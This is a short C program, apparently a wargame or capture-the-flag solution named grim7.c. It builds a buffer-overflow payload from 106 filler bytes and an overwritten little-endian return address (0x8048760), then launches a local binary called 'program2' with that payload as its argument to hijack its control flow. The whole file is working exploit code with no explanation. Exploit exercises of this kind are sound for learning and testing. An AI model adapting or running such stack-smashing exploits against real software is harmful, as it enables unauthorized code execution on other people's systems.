grim7.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


#define	HINT	0x8048760
#define SIZE   129
#define OFFSET (113 - 7)
#define	EXEC	"program2"

int main(void)
{
	char *argv_[3];
	char *envp_[1] = { NULL };

	static char payload[SIZE + 1];

	memset(payload, 'a', OFFSET);
	payload[OFFSET + 0] = 0x60;
	payload[OFFSET + 1] = 0x87;
	payload[OFFSET + 2] = 0x04;
	payload[OFFSET + 3] = 0x08;
	memset(payload+OFFSET+4, 'b', SIZE - OFFSET);
	payload[SIZE] = 0x00;

	argv_[0] = EXEC;
	argv_[1] = payload;
	argv_[2] = NULL;
	execve(EXEC, argv_, envp_);
	return 0;
}